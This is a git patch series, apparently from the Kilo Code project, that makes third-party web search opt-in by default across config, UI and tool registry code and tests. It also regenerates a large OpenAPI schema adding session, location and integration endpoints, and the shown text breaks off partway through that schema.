Agent.Service - const build = yield* agent.get("build") - if (!build) return yield* Effect.die(new Error("build agent not found")) - const tools = yield* registry.tools({ - providerID: ProviderV2.ID.openai, - modelID: ModelV2.ID.make("test"), - agent: build, - }) - - expect(tools.map((tool) => tool.id)).not.toContain("websearch") - }), - ) - - websearch.instance("shows websearch for a configured third-party provider when enabled", () => + websearch.instance("shows websearch by default for a configured third-party provider", () => Effect.gen(function* () { const registry = yield* ToolRegistry.Service const agent = yield* Agent.Service @@ -187,6 +185,22 @@ describe("tool.registry", () => { }), ) + websearchOff.instance("hides websearch for a configured third-party provider when disabled", () => + Effect.gen(function* () { + const registry = yield* ToolRegistry.Service + const agent = yield* Agent.Service + const build = yield* agent.get("build") + if (!build) return yield* Effect.die(new Error("build agent not found")) + const tools = yield* registry.tools({ + providerID: ProviderV2.ID.openai, + modelID: ModelV2.ID.make("test"), + agent: build, + }) + + expect(tools.map((tool) => tool.id)).not.toContain("websearch") + }), + ) + sandboxed.instance("preserves built-in network classification through production tool definition processing", () => Effect.gen(function* () { const registry = yield* ToolRegistry.Service From c5d3032118aa87cdecb3ae40f1117344762efd2b Mon Sep 17 00:00:00 2001 From: Josh Lambert Date: Mon, 27 Jul 2026 14:47:11 -0400 Subject: [PATCH 005/100] fix: keep third-party web search opt-in --- .changeset/enable-websearch-config.md | 2 +- packages/core/src/v1/config/config.ts | 3 +- .../src/routes/config/ToolsRoute.tsx | 2 +- .../src/components/settings/BrowserTab.tsx | 2 +- packages/opencode/src/tool/registry.ts | 2 +- .../test/kilocode/config/config.test.ts | 6 +-- packages/opencode/test/tool/registry.test.ts | 50 +++++++------------ 7 files changed, 26 insertions(+), 41 deletions(-) diff --git a/.changeset/enable-websearch-config.md b/.changeset/enable-websearch-config.md index ebbc4135f3..cd47a9e9fb 100644 --- a/.changeset/enable-websearch-config.md +++ b/.changeset/enable-websearch-config.md @@ -3,4 +3,4 @@ "kilo-code": patch --- -Configure web search for models from all providers through Kilo configuration, VS Code settings, and Kilo Console settings. +Allow users to enable web search for models from all providers through Kilo configuration, VS Code settings, and Kilo Console settings. diff --git a/packages/core/src/v1/config/config.ts b/packages/core/src/v1/config/config.ts index 0ef9d1ffc7..fea9a7f598 100644 --- a/packages/core/src/v1/config/config.ts +++ b/packages/core/src/v1/config/config.ts @@ -227,8 +227,7 @@ export const Info = Schema.Struct({ permission: Schema.optional(ConfigPermissionV1.Info), tools: Schema.optional(Schema.Record(Schema.String, Schema.Boolean)), web_search: Schema.optional(Schema.Boolean).annotate({ - description: - "Make web search available to models from all providers (default: true). Set to false to limit it to managed providers.", + description: "Make web search available to models from all providers (default: false)", }), // kilocode_change attachment: Schema.optional(ConfigAttachmentV1.Info).annotate({ description: "Attachment processing configuration, including image size limits and resizing behavior", diff --git a/packages/kilo-console/src/routes/config/ToolsRoute.tsx b/packages/kilo-console/src/routes/config/ToolsRoute.tsx index fae54f6b8c..9dcb20b6e0 100644 --- a/packages/kilo-console/src/routes/config/ToolsRoute.tsx +++ b/packages/kilo-console/src/routes/config/ToolsRoute.tsx @@ -12,7 +12,7 @@ export function ToolsRoute() { const [search, setSearch] = createSignal("") const snap = () => ctx.data() const websearch = createMemo(() => snap()?.overlay.fields.web_search) - const searchEnabled = createMemo(() => websearch()?.value !== false) + const searchEnabled = createMemo(() => websearch()?.value === true) const rows = createMemo(() => { const data = snap() if (!data) return [] diff --git a/packages/kilo-vscode/webview-ui/src/components/settings/BrowserTab.tsx b/packages/kilo-vscode/webview-ui/src/components/settings/BrowserTab.tsx index ca870fef21..fabc7858b8 100644 --- a/packages/kilo-vscode/webview-ui/src/components/settings/BrowserTab.tsx +++ b/packages/kilo-vscode/webview-ui/src/components/settings/BrowserTab.tsx @@ -86,7 +86,7 @@ const BrowserTab: Component = () => { description={t("settings.webTools.webSearch.description")} last > - + {t("settings.webTools.webSearch.title")} diff --git a/packages/opencode/src/tool/registry.ts b/packages/opencode/src/tool/registry.ts index 4f7c275cfa..4df567dd6b 100644 --- a/packages/opencode/src/tool/registry.ts +++ b/packages/opencode/src/tool/registry.ts @@ -377,7 +377,7 @@ export const layer: Layer.Layer< const filtered = (yield* all()).filter((tool) => { if (!KiloToolRegistry.available(tool, input.agent)) return false // kilocode_change if (tool.id === WebSearchTool.id) { - if (cfg.web_search !== false) return true // kilocode_change + if (cfg.web_search === true) return true // kilocode_change return webSearchEnabled(input.providerID, { exa: flags.enableExa, parallel: flags.enableParallel }) } diff --git a/packages/opencode/test/kilocode/config/config.test.ts b/packages/opencode/test/kilocode/config/config.test.ts index 3938950306..c384d76dff 100644 --- a/packages/opencode/test/kilocode/config/config.test.ts +++ b/packages/opencode/test/kilocode/config/config.test.ts @@ -152,10 +152,10 @@ describe("global config updates", () => { }) describe("kilocode web search config", () => { - test("accepts explicitly limiting web search to managed providers", () => { - const config = Schema.decodeUnknownSync(Config.Info)({ web_search: false }) + test("accepts enabling web search for all providers", () => { + const config = Schema.decodeUnknownSync(Config.Info)({ web_search: true }) - expect(config.web_search).toBe(false) + expect(config.web_search).toBe(true) }) }) diff --git a/packages/opencode/test/tool/registry.test.ts b/packages/opencode/test/tool/registry.test.ts index 2420506b9d..97e4e6c51c 100644 --- a/packages/opencode/test/tool/registry.test.ts +++ b/packages/opencode/test/tool/registry.test.ts @@ -125,21 +125,7 @@ const websearch = testEffect( config: { get: () => Effect.succeed({ - provider: { openai: { options: { apiKey: "test-openai-key" } } }, - }), - }, - }), - node, - Agent.defaultLayer, - ), -) -const websearchOff = testEffect( - Layer.mergeAll( - registryLayer({ - config: { - get: () => - Effect.succeed({ - web_search: false, + web_search: true, provider: { openai: { options: { apiKey: "test-openai-key" } } }, }), }, @@ -169,23 +155,7 @@ function sandboxProfile(): Profile { describe("tool.registry", () => { // kilocode_change start - websearch.instance("shows websearch by default for a configured third-party provider", () => - Effect.gen(function* () { - const registry = yield* ToolRegistry.Service - const agent = yield* Agent.Service - const build = yield* agent.get("build") - if (!build) return yield* Effect.die(new Error("build agent not found")) - const tools = yield* registry.tools({ - providerID: ProviderV2.ID.openai, - modelID: ModelV2.ID.make("test"), - agent: build, - }) - - expect(tools.map((tool) => tool.id)).toContain("websearch") - }), - ) - - websearchOff.instance("hides websearch for a configured third-party provider when disabled", () => + it.instance("hides websearch for a third-party provider by default", () => Effect.gen(function* () { const registry = yield* ToolRegistry.Service const agent = yield* Agent.Service @@ -201,6 +171,22 @@ describe("tool.registry", () => { }), ) + websearch.instance("shows websearch for a configured third-party provider when enabled", () => + Effect.gen(function* () { + const registry = yield* ToolRegistry.Service + const agent = yield* Agent.Service + const build = yield* agent.get("build") + if (!build) return yield* Effect.die(new Error("build agent not found")) + const tools = yield* registry.tools({ + providerID: ProviderV2.ID.openai, + modelID: ModelV2.ID.make("test"), + agent: build, + }) + + expect(tools.map((tool) => tool.id)).toContain("websearch") + }), + ) + sandboxed.instance("preserves built-in network classification through production tool definition processing", () => Effect.gen(function* () { const registry = yield* ToolRegistry.Service From 605dc483e84fbbc3ff5e213e057f3791a14e9299 Mon Sep 17 00:00:00 2001 From: Josh Lambert Date: Mon, 27 Jul 2026 17:30:02 -0400 Subject: [PATCH 006/100] chore(sdk): minimize web search schema diff --- packages/sdk/openapi.json | 5637 +++++++++++++++++++++++++++---------- 1 file changed, 4111 insertions(+), 1526 deletions(-) diff --git a/packages/sdk/openapi.json b/packages/sdk/openapi.json index 1451c3a6b3..7bd369f6bb 100644 --- a/packages/sdk/openapi.json +++ b/packages/sdk/openapi.json @@ -4211,10 +4211,10 @@ ] } }, - "/experimental/project/{projectID}/copy": { + "/experimental/project/{projectID}/copy/generate-name": { "post": { "tags": ["projectCopy"], - "operationId": "experimental.projectCopy.create", + "operationId": "experimental.projectCopy.generateName", "parameters": [ { "name": "projectID", @@ -4224,6 +4224,14 @@ }, "required": true }, + { + "name": "directory", + "in": "query", + "schema": { + "type": "string" + }, + "required": false + }, { "name": "workspace", "in": "query", @@ -4235,56 +4243,45 @@ ], "responses": { "200": { - "description": "Project copy created", + "description": "Success", "content": { "application/json": { "schema": { - "$ref": "#/components/schemas/ProjectCopyCopy" + "type": "object", + "properties": { + "name": { + "type": "string" + } + }, + "required": ["name"], + "additionalProperties": false } } } }, "400": { - "description": "ProjectCopyError | InvalidRequestError", + "description": "Bad request", "content": { "application/json": { "schema": { - "anyOf": [ - { - "$ref": "#/components/schemas/ProjectCopyError" - }, - { - "$ref": "#/components/schemas/InvalidRequestError" - } - ] + "$ref": "#/components/schemas/BadRequestError" } } } } }, - "description": "Create a local physical copy of a project using the selected strategy.", - "summary": "Create project copy", + "description": "Generate a short name for a project copy from task context.", + "summary": "Generate project copy name", "requestBody": { "content": { "application/json": { "schema": { "type": "object", "properties": { - "strategy": { - "type": "string", - "enum": ["git_worktree"] - }, - "directory": { - "type": "string" - }, - "name": { - "type": "string" - }, "context": { "type": "string" } }, - "required": ["strategy", "directory"], "additionalProperties": false } } @@ -4293,145 +4290,7 @@ "x-codeSamples": [ { "lang": "js", - "source": "import { createKiloClient } from \"@kilocode/sdk\"\n\nconst client = createKiloClient()\nawait client.experimental.projectCopy.create({\n ...\n})" - } - ] - }, - "delete": { - "tags": ["projectCopy"], - "operationId": "experimental.projectCopy.remove", - "parameters": [ - { - "name": "projectID", - "in": "path", - "schema": { - "type": "string" - }, - "required": true - }, - { - "name": "directory", - "in": "query", - "schema": { - "type": "string" - }, - "required": false - }, - { - "name": "workspace", - "in": "query", - "schema": { - "type": "string" - }, - "required": false - } - ], - "responses": { - "204": { - "description": "Project copy removed" - }, - "400": { - "description": "ProjectCopyError | InvalidRequestError", - "content": { - "application/json": { - "schema": { - "anyOf": [ - { - "$ref": "#/components/schemas/ProjectCopyError" - }, - { - "$ref": "#/components/schemas/InvalidRequestError" - } - ] - } - } - } - } - }, - "description": "Remove a local physical copy of a project using the selected strategy.", - "summary": "Remove project copy", - "requestBody": { - "content": { - "application/json": { - "schema": { - "type": "object", - "properties": { - "directory": { - "type": "string" - } - }, - "required": ["directory"], - "additionalProperties": false - } - } - } - }, - "x-codeSamples": [ - { - "lang": "js", - "source": "import { createKiloClient } from \"@kilocode/sdk\"\n\nconst client = createKiloClient()\nawait client.experimental.projectCopy.remove({\n ...\n})" - } - ] - } - }, - "/experimental/project/{projectID}/copy/refresh": { - "post": { - "tags": ["projectCopy"], - "operationId": "experimental.projectCopy.refresh", - "parameters": [ - { - "name": "projectID", - "in": "path", - "schema": { - "type": "string" - }, - "required": true - }, - { - "name": "directory", - "in": "query", - "schema": { - "type": "string" - }, - "required": false - }, - { - "name": "workspace", - "in": "query", - "schema": { - "type": "string" - }, - "required": false - } - ], - "responses": { - "204": { - "description": "Project copies refreshed" - }, - "400": { - "description": "ProjectCopyError | InvalidRequestError", - "content": { - "application/json": { - "schema": { - "anyOf": [ - { - "$ref": "#/components/schemas/ProjectCopyError" - }, - { - "$ref": "#/components/schemas/InvalidRequestError" - } - ] - } - } - } - } - }, - "description": "Discover local project copies using one or all configured strategies.", - "summary": "Refresh project copies", - "x-codeSamples": [ - { - "lang": "js", - "source": "import { createKiloClient } from \"@kilocode/sdk\"\n\nconst client = createKiloClient()\nawait client.experimental.projectCopy.refresh({\n ...\n})" + "source": "import { createKiloClient } from \"@kilocode/sdk\"\n\nconst client = createKiloClient()\nawait client.experimental.projectCopy.generateName({\n ...\n})" } ] } @@ -14735,6 +14594,16 @@ } } } + }, + "500": { + "description": "CloudSessionImportError", + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/CloudSessionImportError" + } + } + } } }, "description": "Download a cloud-synced session and write it to local storage with fresh IDs.", @@ -16890,6 +16759,10 @@ }, "diff": { "type": "string" + }, + "workspace": { + "type": "string", + "enum": ["restored", "snapshots-disabled", "unavailable"] } }, "required": ["messageID"], @@ -19898,7 +19771,7 @@ }, "/api/health": { "get": { - "tags": ["kilo experimental HttpApi"], + "tags": ["Kilo HttpApi"], "operationId": "v2.health.get", "parameters": [], "security": [], @@ -19942,8 +19815,8 @@ } } }, - "description": "Check whether the v2 API server is ready to accept requests.", - "summary": "Check v2 server health", + "description": "Check whether the API server is ready to accept requests.", + "summary": "Check server health", "x-codeSamples": [ { "lang": "js", @@ -19952,9 +19825,77 @@ ] } }, + "/api/location": { + "get": { + "tags": ["Kilo HttpApi"], + "operationId": "v2.location.get", + "parameters": [ + { + "name": "location", + "in": "query", + "schema": { + "type": "object", + "properties": { + "directory": { + "type": "string" + }, + "workspace": { + "type": "string" + } + }, + "additionalProperties": false + }, + "required": false, + "style": "deepObject", + "explode": true + } + ], + "security": [], + "responses": { + "200": { + "description": "Location.Info", + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/LocationInfo" + } + } + } + }, + "400": { + "description": "InvalidRequestError", + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/InvalidRequestError" + } + } + } + }, + "401": { + "description": "UnauthorizedError", + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/UnauthorizedError" + } + } + } + } + }, + "description": "Resolve the requested location or the server default location.", + "summary": "Get location", + "x-codeSamples": [ + { + "lang": "js", + "source": "import { createKiloClient } from \"@kilocode/sdk\"\n\nconst client = createKiloClient()\nawait client.v2.location.get({\n ...\n})" + } + ] + } + }, "/api/agent": { "get": { - "tags": ["kilo experimental HttpApi"], + "tags": ["Kilo HttpApi"], "operationId": "v2.agent.list", "parameters": [ { @@ -20023,8 +19964,8 @@ } } }, - "description": "Retrieve currently registered v2 agents.", - "summary": "List v2 agents", + "description": "Retrieve currently registered agents.", + "summary": "List agents", "x-codeSamples": [ { "lang": "js", @@ -20035,7 +19976,7 @@ }, "/api/session": { "get": { - "tags": ["v2"], + "tags": ["sessions"], "operationId": "v2.session.list", "parameters": [ { @@ -20109,11 +20050,11 @@ "security": [], "responses": { "200": { - "description": "V2SessionsResponse", + "description": "SessionsResponse", "content": { "application/json": { "schema": { - "$ref": "#/components/schemas/V2SessionsResponse" + "$ref": "#/components/schemas/SessionsResponse" } } } @@ -20150,18 +20091,192 @@ } }, "description": "Retrieve sessions in the requested order. Items keep that order across pages; use cursor.next or cursor.previous to move through the ordered list.", - "summary": "List v2 sessions", + "summary": "List sessions", "x-codeSamples": [ { "lang": "js", "source": "import { createKiloClient } from \"@kilocode/sdk\"\n\nconst client = createKiloClient()\nawait client.v2.session.list({\n ...\n})" } ] + }, + "post": { + "tags": ["sessions"], + "operationId": "v2.session.create", + "parameters": [], + "security": [], + "responses": { + "200": { + "description": "Success", + "content": { + "application/json": { + "schema": { + "type": "object", + "properties": { + "data": { + "$ref": "#/components/schemas/SessionV2Info" + } + }, + "required": ["data"], + "additionalProperties": false + } + } + } + }, + "400": { + "description": "InvalidRequestError", + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/InvalidRequestError" + } + } + } + }, + "401": { + "description": "UnauthorizedError", + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/UnauthorizedError" + } + } + } + } + }, + "description": "Create a session at the requested location.", + "summary": "Create session", + "requestBody": { + "content": { + "application/json": { + "schema": { + "type": "object", + "properties": { + "id": { + "type": "string", + "pattern": "^ses" + }, + "agent": { + "type": "string" + }, + "model": { + "type": "object", + "properties": { + "id": { + "type": "string" + }, + "providerID": { + "type": "string" + }, + "variant": { + "type": "string" + } + }, + "required": ["id", "providerID"], + "additionalProperties": false + }, + "location": { + "$ref": "#/components/schemas/LocationRef" + } + }, + "additionalProperties": false + } + } + }, + "required": true + }, + "x-codeSamples": [ + { + "lang": "js", + "source": "import { createKiloClient } from \"@kilocode/sdk\"\n\nconst client = createKiloClient()\nawait client.v2.session.create({\n ...\n})" + } + ] + } + }, + "/api/session/{sessionID}": { + "get": { + "tags": ["sessions"], + "operationId": "v2.session.get", + "parameters": [ + { + "name": "sessionID", + "in": "path", + "schema": { + "type": "string", + "pattern": "^ses.*" + }, + "required": true + } + ], + "security": [], + "responses": { + "200": { + "description": "Success", + "content": { + "application/json": { + "schema": { + "type": "object", + "properties": { + "data": { + "$ref": "#/components/schemas/SessionV2Info" + } + }, + "required": ["data"], + "additionalProperties": false + } + } + } + }, + "400": { + "description": "InvalidRequestError", + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/InvalidRequestError" + } + } + } + }, + "401": { + "description": "UnauthorizedError", + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/UnauthorizedError" + } + } + } + }, + "404": { + "description": "SessionNotFoundError", + "content": { + "application/json": { + "schema": { + "anyOf": [ + { + "$ref": "#/components/schemas/SessionNotFoundError" + }, + { + "$ref": "#/components/schemas/SessionNotFoundError" + } + ] + } + } + } + } + }, + "description": "Retrieve a session by ID.", + "summary": "Get session", + "x-codeSamples": [ + { + "lang": "js", + "source": "import { createKiloClient } from \"@kilocode/sdk\"\n\nconst client = createKiloClient()\nawait client.v2.session.get({\n ...\n})" + } + ] } }, "/api/session/{sessionID}/prompt": { "post": { - "tags": ["v2"], + "tags": ["sessions"], "operationId": "v2.session.prompt", "parameters": [ { @@ -20218,7 +20333,14 @@ "content": { "application/json": { "schema": { - "$ref": "#/components/schemas/SessionNotFoundError" + "anyOf": [ + { + "$ref": "#/components/schemas/SessionNotFoundError" + }, + { + "$ref": "#/components/schemas/SessionNotFoundError" + } + ] } } } @@ -20234,8 +20356,8 @@ } } }, - "description": "Durably admit one v2 session input and schedule agent-loop execution unless resume is false.", - "summary": "Send v2 message", + "description": "Durably admit one session input and schedule agent-loop execution unless resume is false.", + "summary": "Send message", "requestBody": { "content": { "application/json": { @@ -20274,7 +20396,7 @@ }, "/api/session/{sessionID}/compact": { "post": { - "tags": ["v2"], + "tags": ["sessions"], "operationId": "v2.session.compact", "parameters": [ { @@ -20317,7 +20439,14 @@ "content": { "application/json": { "schema": { - "$ref": "#/components/schemas/SessionNotFoundError" + "anyOf": [ + { + "$ref": "#/components/schemas/SessionNotFoundError" + }, + { + "$ref": "#/components/schemas/SessionNotFoundError" + } + ] } } } @@ -20333,8 +20462,8 @@ } } }, - "description": "Compact a v2 session conversation.", - "summary": "Compact v2 session", + "description": "Compact a session conversation.", + "summary": "Compact session", "x-codeSamples": [ { "lang": "js", @@ -20345,7 +20474,7 @@ }, "/api/session/{sessionID}/wait": { "post": { - "tags": ["v2"], + "tags": ["sessions"], "operationId": "v2.session.wait", "parameters": [ { @@ -20388,7 +20517,14 @@ "content": { "application/json": { "schema": { - "$ref": "#/components/schemas/SessionNotFoundError" + "anyOf": [ + { + "$ref": "#/components/schemas/SessionNotFoundError" + }, + { + "$ref": "#/components/schemas/SessionNotFoundError" + } + ] } } } @@ -20404,8 +20540,8 @@ } } }, - "description": "Wait for a v2 session agent loop to become idle.", - "summary": "Wait for v2 session", + "description": "Wait for a session agent loop to become idle.", + "summary": "Wait for session", "x-codeSamples": [ { "lang": "js", @@ -20416,7 +20552,7 @@ }, "/api/session/{sessionID}/context": { "get": { - "tags": ["v2"], + "tags": ["sessions"], "operationId": "v2.session.context", "parameters": [ { @@ -20476,7 +20612,14 @@ "content": { "application/json": { "schema": { - "$ref": "#/components/schemas/SessionNotFoundError" + "anyOf": [ + { + "$ref": "#/components/schemas/SessionNotFoundError" + }, + { + "$ref": "#/components/schemas/SessionNotFoundError" + } + ] } } } @@ -20492,8 +20635,8 @@ } } }, - "description": "Retrieve the active context messages for a v2 session (all messages after the last compaction).", - "summary": "Get v2 session context", + "description": "Retrieve the active context messages for a session (all messages after the last compaction).", + "summary": "Get session context", "x-codeSamples": [ { "lang": "js", @@ -20504,7 +20647,7 @@ }, "/api/session/{sessionID}/message": { "get": { - "tags": ["v2 messages"], + "tags": ["messages"], "operationId": "v2.session.messages", "parameters": [ { @@ -20546,11 +20689,11 @@ "security": [], "responses": { "200": { - "description": "V2SessionMessagesResponse", + "description": "SessionMessagesResponse", "content": { "application/json": { "schema": { - "$ref": "#/components/schemas/V2SessionMessagesResponse" + "$ref": "#/components/schemas/SessionMessagesResponse" } } } @@ -20587,7 +20730,14 @@ "content": { "application/json": { "schema": { - "$ref": "#/components/schemas/SessionNotFoundError" + "anyOf": [ + { + "$ref": "#/components/schemas/SessionNotFoundError" + }, + { + "$ref": "#/components/schemas/SessionNotFoundError" + } + ] } } } @@ -20603,8 +20753,8 @@ } } }, - "description": "Retrieve projected v2 messages for a session. Items keep the requested order across pages; use cursor.next or cursor.previous to move through the ordered timeline.", - "summary": "Get v2 session messages", + "description": "Retrieve projected messages for a session. Items keep the requested order across pages; use cursor.next or cursor.previous to move through the ordered timeline.", + "summary": "Get session messages", "x-codeSamples": [ { "lang": "js", @@ -20615,7 +20765,7 @@ }, "/api/model": { "get": { - "tags": ["v2 models"], + "tags": ["models"], "operationId": "v2.model.list", "parameters": [ { @@ -20694,8 +20844,8 @@ } } }, - "description": "Retrieve available v2 models ordered by release date.", - "summary": "List v2 models", + "description": "Retrieve available models ordered by release date.", + "summary": "List models", "x-codeSamples": [ { "lang": "js", @@ -20706,7 +20856,7 @@ }, "/api/provider": { "get": { - "tags": ["v2 providers"], + "tags": ["providers"], "operationId": "v2.provider.list", "parameters": [ { @@ -20785,8 +20935,8 @@ } } }, - "description": "Retrieve active v2 AI providers so clients can show provider availability and configuration.", - "summary": "List v2 providers", + "description": "Retrieve active AI providers so clients can show provider availability and configuration.", + "summary": "List providers", "x-codeSamples": [ { "lang": "js", @@ -20797,7 +20947,7 @@ }, "/api/provider/{providerID}": { "get": { - "tags": ["v2 providers"], + "tags": ["providers"], "operationId": "v2.provider.get", "parameters": [ { @@ -20891,8 +21041,8 @@ } } }, - "description": "Retrieve a single v2 AI provider so clients can inspect its availability and endpoint settings.", - "summary": "Get v2 provider", + "description": "Retrieve a single AI provider so clients can inspect its availability and endpoint settings.", + "summary": "Get provider", "x-codeSamples": [ { "lang": "js", @@ -20901,9 +21051,1011 @@ ] } }, + "/api/integration": { + "get": { + "tags": ["integrations"], + "operationId": "v2.integration.list", + "parameters": [ + { + "name": "location", + "in": "query", + "schema": { + "type": "object", + "properties": { + "directory": { + "type": "string" + }, + "workspace": { + "type": "string" + } + }, + "additionalProperties": false + }, + "required": false, + "style": "deepObject", + "explode": true + } + ], + "security": [], + "responses": { + "200": { + "description": "Success", + "content": { + "application/json": { + "schema": { + "type": "object", + "properties": { + "location": { + "$ref": "#/components/schemas/LocationInfo" + }, + "data": { + "type": "array", + "items": { + "$ref": "#/components/schemas/IntegrationInfo" + } + } + }, + "required": ["location", "data"], + "additionalProperties": false + } + } + } + }, + "400": { + "description": "InvalidRequestError", + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/InvalidRequestError" + } + } + } + }, + "401": { + "description": "UnauthorizedError", + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/UnauthorizedError" + } + } + } + } + }, + "description": "Retrieve available integrations and their authentication methods.", + "summary": "List integrations", + "x-codeSamples": [ + { + "lang": "js", + "source": "import { createKiloClient } from \"@kilocode/sdk\"\n\nconst client = createKiloClient()\nawait client.v2.integration.list({\n ...\n})" + } + ] + } + }, + "/api/integration/{integrationID}": { + "get": { + "tags": ["integrations"], + "operationId": "v2.integration.get", + "parameters": [ + { + "name": "integrationID", + "in": "path", + "schema": { + "type": "string" + }, + "required": true + }, + { + "name": "location", + "in": "query", + "schema": { + "type": "object", + "properties": { + "directory": { + "type": "string" + }, + "workspace": { + "type": "string" + } + }, + "additionalProperties": false + }, + "required": false, + "style": "deepObject", + "explode": true + } + ], + "security": [], + "responses": { + "200": { + "description": "Success", + "content": { + "application/json": { + "schema": { + "type": "object", + "properties": { + "location": { + "$ref": "#/components/schemas/LocationInfo" + }, + "data": { + "$ref": "#/components/schemas/IntegrationInfo" + } + }, + "required": ["location", "data"], + "additionalProperties": false + } + } + } + }, + "400": { + "description": "InvalidRequestError", + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/InvalidRequestError" + } + } + } + }, + "401": { + "description": "UnauthorizedError", + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/UnauthorizedError" + } + } + } + } + }, + "description": "Retrieve one integration and its authentication methods.", + "summary": "Get integration", + "x-codeSamples": [ + { + "lang": "js", + "source": "import { createKiloClient } from \"@kilocode/sdk\"\n\nconst client = createKiloClient()\nawait client.v2.integration.get({\n ...\n})" + } + ] + } + }, + "/api/integration/{integrationID}/connect/key": { + "post": { + "tags": ["integrations"], + "operationId": "v2.integration.connect.key", + "parameters": [ + { + "name": "integrationID", + "in": "path", + "schema": { + "type": "string" + }, + "required": true + }, + { + "name": "location", + "in": "query", + "schema": { + "type": "object", + "properties": { + "directory": { + "type": "string" + }, + "workspace": { + "type": "string" + } + }, + "additionalProperties": false + }, + "required": false, + "style": "deepObject", + "explode": true + } + ], + "security": [], + "responses": { + "204": { + "description": "" + }, + "400": { + "description": "InvalidRequestError", + "content": { + "application/json": { + "schema": { + "anyOf": [ + { + "$ref": "#/components/schemas/InvalidRequestError" + }, + { + "$ref": "#/components/schemas/InvalidRequestError" + } + ] + } + } + } + }, + "401": { + "description": "UnauthorizedError", + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/UnauthorizedError" + } + } + } + } + }, + "description": "Run a key authentication method and store the resulting credential.", + "summary": "Connect with key", + "requestBody": { + "content": { + "application/json": { + "schema": { + "type": "object", + "properties": { + "key": { + "type": "string" + }, + "label": { + "type": "string" + } + }, + "required": ["key"], + "additionalProperties": false + } + } + }, + "required": true + }, + "x-codeSamples": [ + { + "lang": "js", + "source": "import { createKiloClient } from \"@kilocode/sdk\"\n\nconst client = createKiloClient()\nawait client.v2.integration.connect.key({\n ...\n})" + } + ] + } + }, + "/api/integration/{integrationID}/connect/oauth": { + "post": { + "tags": ["integrations"], + "operationId": "v2.integration.connect.oauth", + "parameters": [ + { + "name": "integrationID", + "in": "path", + "schema": { + "type": "string" + }, + "required": true + }, + { + "name": "location", + "in": "query", + "schema": { + "type": "object", + "properties": { + "directory": { + "type": "string" + }, + "workspace": { + "type": "string" + } + }, + "additionalProperties": false + }, + "required": false, + "style": "deepObject", + "explode": true + } + ], + "security": [], + "responses": { + "200": { + "description": "Success", + "content": { + "application/json": { + "schema": { + "type": "object", + "properties": { + "location": { + "$ref": "#/components/schemas/LocationInfo" + }, + "data": { + "$ref": "#/components/schemas/IntegrationAttempt" + } + }, + "required": ["location", "data"], + "additionalProperties": false + } + } + } + }, + "400": { + "description": "InvalidRequestError", + "content": { + "application/json": { + "schema": { + "anyOf": [ + { + "$ref": "#/components/schemas/InvalidRequestError" + }, + { + "$ref": "#/components/schemas/InvalidRequestError" + } + ] + } + } + } + }, + "401": { + "description": "UnauthorizedError", + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/UnauthorizedError" + } + } + } + } + }, + "description": "Start an OAuth attempt and return the authorization details.", + "summary": "Begin OAuth connection", + "requestBody": { + "content": { + "application/json": { + "schema": { + "type": "object", + "properties": { + "methodID": { + "type": "string" + }, + "inputs": { + "type": "object", + "additionalProperties": { + "type": "string" + } + }, + "label": { + "type": "string" + } + }, + "required": ["methodID", "inputs"], + "additionalProperties": false + } + } + }, + "required": true + }, + "x-codeSamples": [ + { + "lang": "js", + "source": "import { createKiloClient } from \"@kilocode/sdk\"\n\nconst client = createKiloClient()\nawait client.v2.integration.connect.oauth({\n ...\n})" + } + ] + } + }, + "/api/integration/attempt/{attemptID}": { + "get": { + "tags": ["integrations"], + "operationId": "v2.integration.attempt.status", + "parameters": [ + { + "name": "attemptID", + "in": "path", + "schema": { + "type": "string" + }, + "required": true + }, + { + "name": "location", + "in": "query", + "schema": { + "type": "object", + "properties": { + "directory": { + "type": "string" + }, + "workspace": { + "type": "string" + } + }, + "additionalProperties": false + }, + "required": false, + "style": "deepObject", + "explode": true + } + ], + "security": [], + "responses": { + "200": { + "description": "Success", + "content": { + "application/json": { + "schema": { + "type": "object", + "properties": { + "location": { + "$ref": "#/components/schemas/LocationInfo" + }, + "data": { + "anyOf": [ + { + "type": "object", + "properties": { + "status": { + "type": "string", + "enum": ["pending"] + }, + "time": { + "type": "object", + "properties": { + "created": { + "anyOf": [ + { + "type": "number" + }, + { + "type": "string", + "enum": ["NaN"] + }, + { + "type": "string", + "enum": ["Infinity"] + }, + { + "type": "string", + "enum": ["-Infinity"] + }, + { + "type": "string", + "enum": ["Infinity", "-Infinity", "NaN"] + } + ] + }, + "expires": { + "anyOf": [ + { + "type": "number" + }, + { + "type": "string", + "enum": ["NaN"] + }, + { + "type": "string", + "enum": ["Infinity"] + }, + { + "type": "string", + "enum": ["-Infinity"] + }, + { + "type": "string", + "enum": ["Infinity", "-Infinity", "NaN"] + } + ] + } + }, + "required": ["created", "expires"], + "additionalProperties": false + } + }, + "required": ["status", "time"], + "additionalProperties": false + }, + { + "type": "object", + "properties": { + "status": { + "type": "string", + "enum": ["complete"] + }, + "time": { + "type": "object", + "properties": { + "created": { + "anyOf": [ + { + "type": "number" + }, + { + "type": "string", + "enum": ["NaN"] + }, + { + "type": "string", + "enum": ["Infinity"] + }, + { + "type": "string", + "enum": ["-Infinity"] + }, + { + "type": "string", + "enum": ["Infinity", "-Infinity", "NaN"] + } + ] + }, + "expires": { + "anyOf": [ + { + "type": "number" + }, + { + "type": "string", + "enum": ["NaN"] + }, + { + "type": "string", + "enum": ["Infinity"] + }, + { + "type": "string", + "enum": ["-Infinity"] + }, + { + "type": "string", + "enum": ["Infinity", "-Infinity", "NaN"] + } + ] + } + }, + "required": ["created", "expires"], + "additionalProperties": false + } + }, + "required": ["status", "time"], + "additionalProperties": false + }, + { + "type": "object", + "properties": { + "status": { + "type": "string", + "enum": ["failed"] + }, + "message": { + "type": "string" + }, + "time": { + "type": "object", + "properties": { + "created": { + "anyOf": [ + { + "type": "number" + }, + { + "type": "string", + "enum": ["NaN"] + }, + { + "type": 